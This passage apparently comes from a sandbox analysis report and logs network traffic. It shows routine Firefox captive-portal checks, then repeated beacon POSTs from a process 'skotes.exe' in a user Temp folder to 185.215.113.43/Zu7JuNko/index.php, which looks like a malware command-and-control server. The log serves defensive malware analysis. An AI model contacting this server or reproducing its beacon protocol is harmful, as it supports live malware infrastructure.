Dec 9, 2024 20:29:52.235224009 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:29:52.551966906 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8777 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:30:02.604412079 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:30:03.852264881 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:30:04.167324066 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8789 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:30:14.216593981 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:30:14.296839952 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:30:14.611283064 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8799 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:30:15.707217932 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:30:16.035037041 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8800 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:30:25.730108976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:30:26.044620991 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8810 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:30:36.107872009 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:30:40.566858053 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:30:40.882277966 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8825 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:30:44.464061022 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:30:44.778491020 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8829 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:30:45.711329937 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:30:46.072077990 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8830 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:30:56.111089945 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:06.307861090 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:07.232492924 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:31:07.547624111 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8852 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:31:17.616246939 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:27.802623034 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:38.003000021 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:48.203660011 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:58.405263901 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:32:28.936256886 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:32:29.251368999 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8934 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:32:47.264671087 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:32:47.599428892 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8952 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50141	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:47.621822119 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:48.979934931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50148	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:50.623122931 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:29:51.958348036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50159	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:53.708444118 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:55.054953098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50161	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:56.690170050 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:29:58.026731014 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50162	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:59.769048929 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:01.112319946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50163	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:02.748747110 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:30:04.096448898 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50165	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:05.848980904 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:07.183305025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50166	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:08.900775909 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50167	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:11.786355019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:13.154009104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50177	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:14.784838915 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:30:16.137361050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50179	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:17.885891914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:19.249993086 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50180	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:20.887120008 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:30:22.241604090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50181	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:23.982191086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:25.322303057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50183	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
